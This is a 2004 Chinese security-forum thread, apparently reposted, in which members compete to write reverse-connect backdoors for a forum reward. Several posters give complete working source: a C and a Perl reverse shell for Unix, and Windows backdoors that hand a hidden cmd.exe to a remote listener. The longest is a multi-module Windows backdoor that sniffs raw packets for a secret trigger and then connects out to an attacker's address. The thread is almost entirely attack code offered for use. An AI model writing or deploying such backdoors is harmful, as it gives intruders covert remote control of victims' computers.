最简单的反弹后门设计和基本模块代码

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原创最新推荐文章于 2026-05-16 05:52:40 发布 2.5k 阅读 AI 写同款· GEO 优化 ›

Metasploit 反弹Shell Metasploit框架是一款开源的渗透测试平台，由H.D. Moore于2003年开发，后被Rapid7收购。它集成了漏洞扫描、利用、后渗透测试等功能，广泛应用于网络安全评估和漏洞验证。阅读详情

2004-08-24 10:55:41

题目：写一个反弹式后门程序，让该程序运行后，就会连接到你指定的计算机，在那台计算机上用NC这样的小工具监听某一端口，当运行这个后门的计算机连接到这个端口后，就能远程执行对方计算机的命令了。
要求：任何计算机语言都可以，只要你能写得出来。
系统平台：Window版和*nix版分开写

看谁写得精彩，随着程序版本的增多，我们会慢慢提出新的功能，看谁能根据我们提出的功能写到最后，然后评出几名编入“论坛功臣”组，拥有“认证会员”权限，并且有10000元论坛的货币。

其他要求：您接受您写的程序能成为本站的一个软件，在程序里留下http://www.s8s8.net 的字样。

sql

2004-08-24 13:58:05

CODE

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>

void usage();
char shell[]="/bin/sh";
char message[]="s8s8 welcome/n";
int sock;
int main(int argc, char *argv[]) {
if(argc <3){
usage(argv[0]);
}

struct sockaddr_in server;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Couldn't make socket!/n"); exit(-1);
}

server.sin_family = AF_INET;
server.sin_port = htons(atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);

if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
printf("Could not connect to remote shell!/n");
exit(-1);
}
send(sock, message, sizeof(message), 0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,"/bin/sh",(char *)0);
close(sock);
return 1;
}

void usage(char *prog[]) {
printf("/t/ts8s8 connect back door/n/n");
printf("/t sql@s8s8.net/n/n");
printf("Usage: %s <reflect ip> <port>/n", prog);
exit(-1);
}

测试结果如下图：

cnhackTNT

2004-08-24 15:25:43

CODE

#!/usr/bin/perl
#http://www.s8s8.net
#cnhackTNT[AT]hotmail.com

use strict;
use Socket;
use Cwd;
use IO::Handle;

if ( @ARGV < 1 ) {
print <<"EOF";
usage:
nc -l -p PORT(default 66666) on your local system first,then
Perl $0 Remote IP <space> Remote_port(default 66666)
Type 'quit' to exit or press Enter to gain shell when u under the 'S8S8 console'.
Enjoy ur shell!
Welcome to http://www.s8s8.net
EOF
exit;
}
my $remote = $ARGV[0];
my $remote_port = $ARGV[1] || 66666;
my $proto = getprotobyname('tcp');
my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote) );
my $path = cwd();
my $shell = '/bin/sh -i';

socket( SOCK, AF_INET, SOCK_STREAM, $proto ) || die "socket error: $!";
STDOUT->autoflush(1);
SOCK->autoflush(1);
connect( SOCK, $pack_addr ) || die "connection error : $!";
open STDIN, ">&SOCK";
open STDOUT, ">&SOCK";
open STDERR, ">&SOCK";
print "You are in $path/n";
print "Welcome to www.s8s8.net/nEnjoy ur shell./n/n[S8S8 console]>";

while (<SOCK>) {
chomp;
if ( lc($_) eq 'quit' ) {
print "/nWelcome to www.s8s8.net";
print "/nByeBye~~~!/n";
exit;
}
elsif ($_) {
system($shell);
print "/n[S8S8 console]>";
}
else {
print "/n[S8S8 console]>";
}
}
close SOCK;
exit;

很简单，功能和上面sql兄那个c版本的差不多。

测试截图：

dahubaobao

2004-08-24 18:07:02

CODE

#include <winsock2.h>
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

#pragma comment (lib,"ws2_32.lib")

#define PASSSUCCESS "Password success!/n"
#define PASSERROR "Password error./n"
#define BYEBYE "ByeBye!/n"

#define WSAerron WSAGetLastError()
#define erron GetLastError()

VOID WINAPI EXEBackMain (LPVOID s);
//BOOL EXEBackMain (SOCKET sock);

int main (int argc, TCHAR *argv[])
{
SOCKET sock=NULL;
struct sockaddr_in sai;
TCHAR UserPass[20]={0}; //用户设置密码缓冲
TCHAR PassBuf[20]={0}; //接收密码缓冲
TCHAR PassBanner[]="/nPassword:";
TCHAR Banner[]="---------dahubaobao backdoor---------/n";

if (argc!=4)
{
fprintf(stderr,"Code by dahubaobao/n"
"Usage:%s [DestIP] [Port] [Password]/n",argv[0]);
return 0;
}

sai.sin_family=AF_INET;

//判断参数合法性，并填充地址结构
//IP地址不能大于15
if (strlen(argv[1])<=15)
sai.sin_addr.s_addr=inet_addr(argv[1]);
else
{
#ifdef DEBUGMSG
printf("Internet address no larger than /"15/"/n");
#endif
goto Clean;
}

//端口不能小于0 && 大于65535
if (atoi(argv[2])>0&&atoi(argv[2])<65535)
sai.sin_port=htons(atoi(argv[2]));
else
{
#ifdef DEBUGMSG
printf("Port no less than /"0/" and larger than /"65535/"");
#endif
goto Clean;
}

//密码最大16位
if (strlen(argv[3])<=16)
strcpy(UserPass,argv[3]); //复制密码
else
{
#ifdef DEBUGMSG
printf("Please connect password error/n");
#endif
goto Clean;
}

while (TRUE)
{
WSADATA wsadata;
BOOL ThreadFlag=FALSE;
DWORD ThreadID=0;
int nRet=0;

nRet=WSAStartup(MAKEWORD(2,2),&wsadata); //初始化

if (nRet)
{
#ifdef DEBUGMSG
printf("WSAStartup() error: %d/n",nRet);
#endif
return 0;
}

sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

if (sock==INVALID_SOCKET)
{
#ifdef DEBUGMSG
printf("socket() GetLastError reports %d/n",WSAerron);
#endif
goto Clean;
}

nRet=connect(sock,(struct sockaddr*)&sai,sizeof (struct sockaddr));

if (nRet!=SOCKET_ERROR)
{
nRet=send(sock,Banner,sizeof (Banner),0);

if (nRet==SOCKET_ERROR)
{
#ifdef DEBUGMSG
sprintf(MsgError,"send() GetLastError reports %d/n",WSAerron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
goto Clean;
}

while (TRUE)
{
nRet=send(sock,PassBanner,sizeof (PassBanner),0);

if (nRet==SOCKET_ERROR)
{
#ifdef DEBUGMSG
sprintf(MsgError,"send() GetLastError reports %d/n",WSAerron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
goto Clean;
}

nRet=recv(sock,PassBuf,sizeof (PassBuf)-1,0);

if (strnicmp(PassBuf,UserPass,strlen(UserPass))==0)
{
#ifdef DEBUGMSG
send(sock,PASSSUCCESS,sizeof (PASSSUCCESS),0);
#endif
ThreadFlag=TRUE;
break;
}
else
{
#ifdef DEBUGMSG
send(sock,PASSERROR,sizeof (PASSERROR),0);
#endif
continue;
}

if (nRet==SOCKET_ERROR)
{
#ifdef DEBUGMSG
sprintf(MsgError,"recv() GetLastError reports %d/n",WSAerron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
goto Clean;
}

Sleep(100);
}

if (ThreadFlag)
{
//EXEBackMain(sock);

CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)EXEBackMain,
(LPVOID)sock,0,&ThreadID);
}

}

Sleep(1000);
}

Clean:
if (sock!=NULL)
closesocket(sock);

WSACleanup();
return 0;
}

VOID WINAPI EXEBackMain (LPVOID s)
//BOOL EXEBackMain (SOCKET sock)
{
SOCKET sock=(SOCKET)s;
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE hRead=NULL,hWrite=NULL;
TCHAR CmdSign[]="/ndahubaobao://>";

while (TRUE)
{
TCHAR MsgError[50]={0}; //错误消息缓冲
TCHAR Cmdline[300]={0}; //命令行缓冲
TCHAR RecvBuf[1024]={0}; //接收缓冲
TCHAR SendBuf[2048]={0}; //发送缓冲
SECURITY_ATTRIBUTES sa;
DWORD bytesRead=0;
int ret=0;

sa.nLength=sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor=NULL;
sa.bInheritHandle=TRUE;

//创建匿名管道
if (!CreatePipe(&hRead,&hWrite,&sa,0))
{
#ifdef DEBUGMSG
sprintf(MsgError,"CreatePipe() GetLastError reports %d/n",erron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
goto Clean;
}

si.cb=sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.hStdError=hWrite;
si.hStdOutput=hWrite; //进程（cmd）的输出写入管道
si.wShowWindow=SW_HIDE;
si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

GetSystemDirectory(Cmdline,sizeof (Cmdline)); //获取系统目录
strcat(Cmdline,"//cmd.exe /c "); //拼接cmd

ret=send(sock,CmdSign,sizeof (CmdSign),0); //向目标发送提示符

if (ret==SOCKET_ERROR)
{
#ifdef DEBUGMSG
sprintf(MsgError,"send() GetLastError reports %d/n",WSAerron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
goto Clean;
}

ret=recv(sock,RecvBuf,sizeof (RecvBuf),0); //接收目标数据

//如果为exit或quit，就退出
if (strnicmp(RecvBuf,"exit",4)==0||strnicmp(RecvBuf,"quit",4)==0)
{
#ifdef DEBUGMSG
send(sock,BYEBYE,sizeof (BYEBYE),0);
#endif
goto Clean;
}

//表示对方已经断开
if (ret==SOCKET_ERROR)
{
#ifdef DEBUGMSG
sprintf(MsgError,"recv() GetLastError reports %d/n",WSAerron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
goto Clean;
}

//表示接收数据出错
if (ret<=0)
{
#ifdef DEBUGMSG
sprintf(MsgError,"recv() GetLastError reports %d/n",WSAerron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
continue;
}

Sleep(100); //休息一下，可要可不要
strncat(Cmdline,RecvBuf,sizeof (RecvBuf)); //拼接一条完整的cmd命令

//创建进程，也就是执行cmd命令
if (!CreateProcess(NULL,Cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))
{
#ifdef DEBUGMSG
sprintf(MsgError,"CreateProcess() GetLastError reports %d/n",erron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
continue;
}

CloseHandle(hWrite);

while (TRUE)
{
//无限循环读取管道中的数据，直到管道中没有数据为止
if (ReadFile(hRead,SendBuf,sizeof (SendBuf),&bytesRead,NULL)==0)
break;
send(sock,SendBuf,bytesRead,0); //发送出去
memset(SendBuf,0,sizeof (SendBuf)); //缓冲清零
Sleep(100); //休息一下
}

}

Clean:
//释放句柄
if (hRead!=NULL)
CloseHandle(hRead);

if (hWrite!=NULL)
CloseHandle(hWrite);

//释放SOCKET
if (sock!=NULL)
closesocket(sock);

WSACleanup();
ExitThread(0);
//return 0;

}

dahubaobao

2004-08-24 18:08:06

普通会员是不是有限制？为什么我不能用[CODE][/CODE]标签？

提示菜单已被禁用。。。真无聊这也禁用~~~~

sql

2004-08-24 19:26:17

看了楼上的代码，我觉得管道那个地方可以更简单一些吧？

CODE

WSADATA wd;
SOCKET sock;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in sin;

.
.
.
.
.
.
.
.
memset(&si, 0, sizeof(si));
WSAStartup(MAKEWORD( 1, 1 ), &wd);

sock=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = inet_addr(IP);

while ( connect(sock, (struct sockaddr*)&sin, sizeof (sin)) ) Sleep (50000);

si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock;
CreateProcess(NULL,"cmd.exe",NULL,NULL, TRUE, 0,0, NULL, &si, &pi );
return 0;

我不太懂我它们之间的区别，刚学win编程不久还请多指教。

2004-08-24 19:44:41

我也贴一个,比较完整的.for winnt的.compiler by vc 6.0.

我把后门分成四个部分,一个个部分算作一个模块,首先是主函数入口分成一部分,将来要加一些参数设置,初始化,隐藏进程等等,都在这个主函数部分完成,现在是什么都没有,代码比较少..

CODE

#include "mainheader.h"

MAINPARAMETERSTK mpStk={"zvrop","www.s8s8.net"};

//打印帮助
void Usage(char *programName) {
char szHelp[] = "";
fprintf(stderr,"%s usage:%s/n",programName,szHelp);
}

//初始化参数
int HandleOptions(int argc,char *argv[]) {
int i,rn=1;

for (i=1; i< argc;i++) {
if (argv[i][0] == '-') {
switch (argv[i][1]) {
case '?':
case 'h':
case 'H':
Usage(argv[0]);
rn = 0;
break;

default:
Usage(argv[0]);
rn = 0;
break;
}
}
}
return rn;
}

//正式开始工作的主函数
extern int ListenUserMain(void);
int mGotoStart(){

//申请网络
if(!SetSocketDll())
return 0;
int ret=0;
//出错最大100次就结束程序
while(true){
if(!ListenUserMain()){
if(ret++ > 100)
break;
}
}
return 1;
}

//程序入口
int main(int argc, char* argv[]) {
if(argc > 1) {
if(HandleOptions(argc,argv)) {
return 1;
}else {
return 0;
}
}else {
mGotoStart();
return 1;
}
return 1;
}

上面这个部分除了mGotoStart();这个函数,其他都是内部的.

这个mGotoStart();就是sniffer的开始,也就是我们的第二个部分,嗅探部分,我写了三种数据包,udp,tcp,icmp的嗅探,事实上 tcp能用上的很少(除非你用某些发包软件直接发tcp包)所以我测试的时候也是用udp和icmp来测试的,代码如下:

CODE

#include "mainheader.h"

#define MAX_PACK_LEN 65535
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)

SNIFFERDATASTK sfStk;

//判断数据包的正确性
int ChkBuff(char *msg, int msglen)
{
int i1 = strlen(mpStk.KeyData), i2 = strlen(mpStk.szUserPasd);
if(strnicmp(msg, mpStk.KeyData, i1) == 0){
char *fp = &msg[i1+1];
if(2 != getcmdline(fp,(char*)(&sfStk),100,3)){
return 0;
}
if(!chkPass(sfStk.name)){
return 0;
}
return 1;
}
return 0;
}

//数据包解包
int DecodePack(char *buf, int buflen)
{
IP_HEADER *pIpheader;
int iProtocol;
pIpheader = (IP_HEADER *)buf;
iProtocol = pIpheader->proto;
int iIphLen = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf);
int PackSize = 0;
switch(iProtocol){
case IPPROTO_UDP:
PackSize = sizeof(UDP_HEADER);
break;
case IPPROTO_ICMP:
PackSize = sizeof(UDP_HEADER);
break;
case IPPROTO_TCP:
PackSize = sizeof(TCP_HEADER);
default :
return 0;
}
if((unsigned)(buflen-iIphLen-PackSize) < (strlen(mpStk.KeyData)+10))
return 0;
if(ChkBuff(buf+iIphLen+PackSize, buflen-iIphLen-PackSize))
return 1;
return 0;
}

//循环接收数据包
int RecvRightData(SOCKET Sock)
{
char RecvBuf[MAX_PACK_LEN];
int RecvDataLen;
while(true){
memset(RecvBuf, 0, MAX_PACK_LEN);
RecvDataLen = recv(Sock, RecvBuf, MAX_PACK_LEN, 0);
if(SOCKET_ERROR == RecvDataLen || RecvDataLen < 46)
return 0;
if(DecodePack(RecvBuf, RecvDataLen)){
return 1;
}
}
return 0;
}

//获得本机外部ip
unsigned long msGetipByStrOUT(){
char in[20]="",out[20]="";
if(msGetip(in,out)){
return inet_addr(out);
}else{
return inet_addr("127.0.0.1");
}
}

//设置网络环境,开始嗅探
int Start_Sniffer(SOCKET SnfSock)
{

SOCKADDR_IN addr_in;
addr_in.sin_family = AF_INET;
addr_in.sin_port = INADDR_ANY;
addr_in.sin_addr.S_un.S_addr = msGetipByStrOUT();
if(SOCKET_ERROR == bind(SnfSock, (struct sockaddr*)&addr_in, sizeof(addr_in))){
ConCloseSocket(&SnfSock);
return 0;
}
DWORD dwBufferLen[10];
DWORD dwBufferInLen = 1;
DWORD dwBytesReturned = 0;
if(SOCKET_ERROR == WSAIoctl(SnfSock,
SIO_RCVALL,
&dwBufferInLen,
sizeof(dwBufferInLen),
&dwBufferLen,
sizeof(dwBufferLen),
&dwBytesReturned ,
NULL ,
NULL)){

ConCloseSocket(&SnfSock);
return 0;
}
return 1;
}

//网络开始函数
extern DWORD WINAPI UserThreadFunc(LPVOID lpParam);
int ListenUserMain(void)
{
SOCKET SnfSock;
if(!SetSocketHand(&SnfSock, SOCK_RAW)) {
return 0;
}
if(!Start_Sniffer(SnfSock)) {
return 0;
}
if(!RecvRightData(SnfSock)) {
ConCloseSocket(&SnfSock);
return 0;
}
ConCloseSocket(&SnfSock);
if(!SetSocketHand(&SnfSock, SOCK_STREAM)) {
return 0;
}
if(!ContoReServer(&SnfSock,
(unsigned short)atoi(sfStk.nPort),
sfStk.szIp)) {
ConCloseSocket(&SnfSock);
return 0;
}
if(!UserThreadFunc((LPVOID)&SnfSock)){
return 0;
}
return 1;
}

上面这个部分,除了UserThreadFunc函数是外部的,其他都是内部的,实现了嗅探.

UserThreadFunc函数就是用户线程函数,到了这个函数,就已经和用户建立了连接,下面就是交互式shell的代码了.如下:

CODE

#include "mainheader.h"

//关闭cmd进程,防止用户强行断开连接
void closeCMD(USERCONTSTK * sck){
if(sck->procinfo.hProcess != NULL){
TerminateProcess(sck->procinfo.hProcess, -9);
ConCloseHandle(&sck->procinfo.hProcess);
}
}

//结束交互线程B,并关闭相应资源
void KillThreadHdB(USERCONTSTK * sck){
if(sck->UserThreadHdB != NULL){
TerminateThread(sck->UserThreadHdB, 0);
ConCloseHandle(&sck->UserThreadHdB);
ConCloseHandle(&sck->hReadPipe);
ConCloseHandle(&sck->hReadFile);
ConCloseHandle(&sck->hWriteFile);
ConCloseHandle(&sck->hWritePipe);
xfree(sck->buff);
}
}

//结束cmd交互,并中断连接
void quitTELcon(USERCONTSTK * sck){
if(sck->getCMD == 1){
KillThreadHdB(sck);
closeCMD(sck);
sck->getCMD = 0;
}
rnvCasemsg(sck->UserSck, "Bye~^_^~/r/n");
sck->ExitIn = 1;
}

//结束cmd交互,返回后门shell下
void backtoCON(USERCONTSTK * sck)
{
KillThreadHdB(sck);
rnvCasemsg(sck->UserSck,"==========================/r/n"
"S8S8//>");
sck->getCMD = 0;
}

//交互线程B,获取cmd输出,发送给用户端
DWORD WINAPI ThreadFuncB(LPVOID lpParam){

#define MAX_BUFF_TB 4096
USERCONTSTK *ThreadST = (USERCONTSTK *)lpParam;
ThreadST->buff = (char*)malloc(MAX_BUFF_TB*sizeof(char));
if(ThreadST->buff == NULL)
return 0;
ThreadST->Bann = 1;
unsigned long howlong;
DWORD rest;
while(true){
rest = ReadFile(ThreadST->hReadFile, ThreadST->buff, MAX_BUFF_TB, &howlong, NULL);
if(rest <= 0){
xfree(ThreadST->buff);
return 0;
}
send(ThreadST->UserSck, ThreadST->buff, howlong, 0);
}
return 0;
}

//产生并捆绑一个cmdshell.
short GetConSel(USERCONTSTK *sck){
if(sck->getCMD == 1) {
return 0;
}
memset(&sck->pipeattrA, 0, sizeof(sck->pipeattrA));
sck->pipeattrA.nLength = sizeof(SECURITY_ATTRIBUTES);
sck->pipeattrA.lpSecurityDescriptor = NULL;
sck->pipeattrA.bInheritHandle = TRUE;
if(!CreatePipe(&sck->hReadPipe, &sck->hWriteFile, &sck->pipeattrA, 0)){
rnvErrorID(sck->UserSck, "CreatePipe:");
return 0;
}
memset(&sck->pipeattrB, 0, sizeof(sck->pipeattrB));
sck->pipeattrB.nLength = sizeof(SECURITY_ATTRIBUTES);
sck->pipeattrB.lpSecurityDescriptor = NULL;
sck->pipeattrB.bInheritHandle = TRUE;
if(!CreatePipe(&sck->hReadFile, &sck->hWritePipe, &sck->pipeattrB, 0)){
rnvErrorID(sck->UserSck, "CreatePipe:");
ConCloseHandle(&sck->hReadPipe);
ConCloseHandle(&sck->hWriteFile);
return 0;
}
DWORD UserThreadIdB;
sck->Bann = 0;
if((sck->UserThreadHdB = CreateThread(NULL, 0, ThreadFuncB, (LPVOID *)sck, 0,
&UserThreadIdB))==0){
rnvErrorID(sck->UserSck, "CreateThreadB:");
ConCloseHandle(&sck->hReadPipe);
ConCloseHandle(&sck->hWriteFile);
ConCloseHandle(&sck->hReadFile);
ConCloseHandle(&sck->hWritePipe);
return 0;
}
STARTUPINFO starinfo;
GetStartupInfo(&starinfo);
starinfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
starinfo.hStdInput = sck->hReadPipe;
starinfo.hStdError = starinfo.hStdOutput = sck->hWritePipe;
starinfo.wShowWindow = SW_HIDE;
char Cmdpath[MAX_PATH+20] = "";
char ConSystemPath[MAX_PATH] = "";
DWORD ren = GetSystemDirectory(ConSystemPath, MAX_PATH);
if(ren != strlen(ConSystemPath)){
rnvErrorID(sck->UserSck, "GetSystemDirectory:");
KillThreadHdB(sck);
return 0;
}
sprintf(Cmdpath, "%s//cmd.exe", ConSystemPath);
if(CreateProcess(Cmdpath, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &starinfo,
&sck->procinfo)==0){
rnvErrorID(sck->UserSck, "CreateProcess:");
KillThreadHdB(sck);
return 0;
}
sprintf(Cmdpath,"========================/r/n"
"=ThreadID = %ld/r/n"
"=ProcessID = %ld/r/n"
"========================/r/n/0",
UserThreadIdB,
sck->procinfo.dwProcessId);
rnvCasemsg(sck->UserSck, Cmdpath);
//如果建立线程B超时,退出
short _timeOut = 0;
while(sck->Bann == 0){
if(_timeOut++ > 50){
rnvErrorID(sck->UserSck, "TIMEOUT");
closeCMD(sck);
KillThreadHdB(sck);
return 0;
}
Sleep(50);
}
//设置为已经获得cmdshell
sck->getCMD = 1;
return 1;
}

//输出banner
void TypeHelp(USERCONTSTK * sck){

rnvCasemsg(sck->UserSck,"/r/n+++++++++++++++++++++++++++++++++++++++++++++++++++/r/n"
"+quit<q> exit/r/n"
"+help<h> exit/r/n"
"+shell<s> cmd shell/r/n"
"+++++++++++++++++++++++++++++++++++++++++++++++++++/r/n");
}

//命令行分析
void WINAPI gocommand(USERCONTSTK * sck,char *comm)
{
ConDel1013(comm);
char cmdline[10][256] = {""};
int comline_num = getcmdline(comm, &cmdline[0][0], 256, 10) + 1;
if(strcmpi(cmdline[0], "") == 0){
return;
}
cmdline[0][0]=toupper(cmdline[0][0]);
switch(cmdline[0][0]){
case 'Q':{
if((strcmpi(cmdline[0], "q") == 0) || (strcmpi(cmdline[0], "quit") == 0)
&& comline_num == 1)
quitTELcon(sck);
else
goto NoCommand;
break;
}
case 'S':{
if((strcmpi(cmdline[0], "s") == 0) || (strcmpi(cmdline[0], "shell") == 0)
&& comline_num == 1)
GetConSel(sck);
else
goto NoCommand;
break;
}
case '?':
case 'H':{
if((strcmpi(cmdline[0], "h") == 0 || strcmpi(cmdline[0], "help") == 0 || strcmpi(cmdline[0], "?") == 0))
TypeHelp(sck);
else
goto NoCommand;
break;
}
default:
NoCommand:
rnvCasemsg(sck->UserSck,"Bad Command!/r/n");
}
}

//交互线程A,可以作为后门本身的shell,也可以作为CMDshell的输入
void BeginShell(USERCONTSTK *sck){
char buff[1024] = {0},buf[1024] = {0};
long howlong;
DWORD nothing;

rnvCasemsg(sck->UserSck, "++++++++++++++++++++++++++++++++++++/r/n"
"+Easy BackDoor/r/n"
"+Coder By ZV(zvrop@163.com)/r/n"
"+Site http://www.s8s8.net/r/n"
"++++++++++++++++++++++++++++++++++++/r/n"
"S8S8//>");
while(true){
memset(buf, 0, 1024);
howlong = recv(sck->UserSck, buf, 1023 - strlen(buff), 0);
if(howlong <= 0){
quitTELcon(sck);
return;
}
strncat(buff, buf, howlong);
if(buf[howlong-1] == '/n'){
if(sck->getCMD != 0){
if(buff[0] == '`'){
gocommand(sck, buff + 1);
}else{
WriteFile(sck->hWriteFile, buff, strlen(buff), &nothing, NULL);
if(!strnicmp(buff, "exit", 4))
backtoCON(sck);
}
}else{
gocommand(sck, buff);
if(sck-> ExitIn == 1){
return;
}
rnvCasemsg(sck->UserSck, "S8S8//>");
}
memset(buff, 0, 1024);
if(sck-> ExitIn == 1){
return;
}
}
}
}

//用户界面入口,申请一个结构用来保存,是为了兼容多用户
DWORD WINAPI UserThreadFunc(LPVOID lpParam){
USERCONTSTK *sck = (USERCONTSTK *)malloc(sizeof(USERCONTSTK));
if(sck == NULL){
rnvErrorID(*(SOCKET *)lpParam, "malloc:");
ConCloseSocket((SOCKET *)lpParam);
return 0;
}
memset(sck, 0, sizeof(USERCONTSTK));
sck->UserSck = *(SOCKET *)lpParam;
BeginShell(sck);
ConCloseSocket(&sck->UserSck);
free(sck);
return 1;
}

最后一个部分是公共函数部分,提供了一些函数的包装.如下:

CODE

#include "mainheader.h"

#define MAX_TIMEOUT 20000

//关闭socket句柄
void ConCloseSocket(SOCKET *Sock) {
if(*Sock == 0 || *Sock == SOCKET_ERROR)
return;
closesocket(*Sock);
*Sock = 0;
}

//关闭句柄
void ConCloseHandle(HANDLE *Hand){
if(*Hand == NULL || *Hand == INVALID_HANDLE_VALUE)
return;
CloseHandle(*Hand);
*Hand = NULL;
}

//释放内存
void xfree(char *bf){
if(bf == NULL || bf == 0)
return;
free(bf);
bf = NULL;
}

//设置监听
int LocalListen(SOCKET Sock) {
if(listen(Sock, 5) == SOCKET_ERROR)
return 0;
return 1;
}

//连接远程服务器
int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr) {
struct sockaddr_in server_addr;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
struct hostent *server_host;
server_host = gethostbyname( reAddr );
if(server_host == NULL)
return 0;
memcpy( (void *) &server_addr.sin_addr,
(void *) server_host->h_addr,
server_host->h_length );
int len = sizeof( server_addr );
if( connect( *sock, (struct sockaddr *)
&server_addr, len ) < 0 )
return 0;
return 1;
}

//申请网络环境
int SetSocketDll(void) {
WSADATA wsaData;
if(SOCKET_ERROR == WSAStartup(MAKEWORD(2, 2), &wsaData)){
return 0;
}
return 1;
}

//申请连接句柄
int SetSocketHand(SOCKET *Sock, DWORD SOCKTYPE) {
*Sock = socket(AF_INET , SOCKTYPE , IPPROTO_IP);
if(*Sock == SOCKET_ERROR)
return 0;
return 1;
}

//发送消息给用户端
void rnvCasemsg(SOCKET Sock, char *msg) {
if (strlen(msg) <= 0)
return;
send(Sock, msg, strlen(msg),0);
}

//发送带错误码的消息给用户端
void rnvErrorID(SOCKET Sock, char *msg) {
char rmsg[256] = {""};
sprintf(rmsg, "/r/nERROR>%s:%d/r/n", msg, GetLastError());
rnvCasemsg(Sock, rmsg);
}

//兼容nc和telnet
void ConDel1013(char *str) {
for(unsigned int i =0; i < strlen(str); i++)
if(str[i] == '/r' || str[i] == '/n')
str[i] = '/0';
}

extern MAINPARAMETERSTK mpStk;

//密码比较,这里可以加上md5
short chkPass(char *pass) {
if(strnicmp(pass, mpStk.szUserPasd, strlen(mpStk.szUserPasd))==0)
return 1;
return 0;
}

//分解命令行的函数
short getcmdline(char *comm, char *cmdline, short cont, short num){
short j = 0, geti = 0, is20 = 0;
for(short i = 0; comm[i] != '/0' && geti < num; i++){
if(comm[i] != ' ' || is20 >= 1){
if(comm[i] == '"') is20++;
else if(is20 >= 2 && comm[i] == ' ') is20 = 0;
else if(j < cont){
cmdline[geti * cont + j] = comm[i];
j++;
}
}
if(comm[i] == ' ' && geti < num && is20 == 0){
geti++;
j = 0;
}
}
return geti;
}

//获得本机IP函数
int msGetip(char *ipin, char* ipout){
char cHostName[80]="";
if((gethostname(cHostName, 80)) == SOCKET_ERROR)
return false;
struct hostent *Host = gethostbyname(cHostName);
if(NULL!=Host){
struct in_addr addr;
int i = 0;
while(Host->h_addr_list[i] != NULL){
memcpy(&addr, Host->h_addr_list[i], sizeof(addr));
if(addr.S_un.S_un_b.s_b1 == 192 && addr.S_un.S_un_b.s_b2 == 168){
if(strlen(ipin) == 0){
strcpy(ipin, inet_ntoa(addr));
}
}else if(addr.S_un.S_un_b.s_b1 == 172 && (addr.S_un.S_un_b.s_b2 >= 16 && addr.S_un.S_un_b.s_b2 <= 131)){
if(strlen(ipin) == 0){
strcpy(ipin, inet_ntoa(addr));
}
}else if(addr.S_un.S_un_b.s_b1 == 10 ){
if(strlen(ipin) == 0){
strcpy(ipin, inet_ntoa(addr));
}
}else{
if(strlen(ipout) == 0){
strcpy(ipout, inet_ntoa(addr));
}
}
i++;
}
if(strlen(ipout) == 0) {
strcpy(ipout, ipin);
}
if(strlen(ipin) == 0){
strcpy(ipin, ipout);
}
return 1;
}
return 0;
}

还要来一个就是程序的头文件:如下:

CODE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <windows.h>

//用户结构
typedef struct _USERCONTSTK{
int getCMD;
char* buff;
int ExitIn;
int Bann;
SOCKET UserSck;
HANDLE UserThreadHdB;
HANDLE hWritePipe;
HANDLE hWriteFile;
HANDLE hReadPipe;
HANDLE hReadFile;
SECURITY_ATTRIBUTES pipeattrA;
SECURITY_ATTRIBUTES pipeattrB;
PROCESS_INFORMATION procinfo;
}USERCONTSTK,*PUSERCONTSTK;

//后门参数结构
typedef struct _MAINPARAMETERSTK{
char szUserPasd[100];
char KeyData[100];
}MAINPARAMETERSTK,*PMAINPARAMETERSTK;

//嗅探数据结构
typedef struct _SNIFFERDATASTK{
char name[100];
char szIp[100];
char nPort[100];
}SNIFFERDATASTK,*PSNIFFERDATASTK;

//ip头部结构
typedef struct _iphdr {
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER;

//tcp头部结构
typedef struct _tcphdr {
USHORT th_sport;
USHORT th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
USHORT th_win;
USHORT th_sum;
USHORT th_urp;
}TCP_HEADER;

//udp头部结构
typedef struct _udphdr {
unsigned short uh_sport;
unsigned short uh_dport;
unsigned short uh_len;
unsigned short uh_sum;
} UDP_HEADER;

//icmp头部结构
typedef struct _icmphdr {
BYTE i_type;
BYTE i_code;
USHORT i_cksum;
USHORT i_id;
USHORT i_seq;
ULONG timestamp;
}ICMP_HEADER;

//一些变量和函数的声名
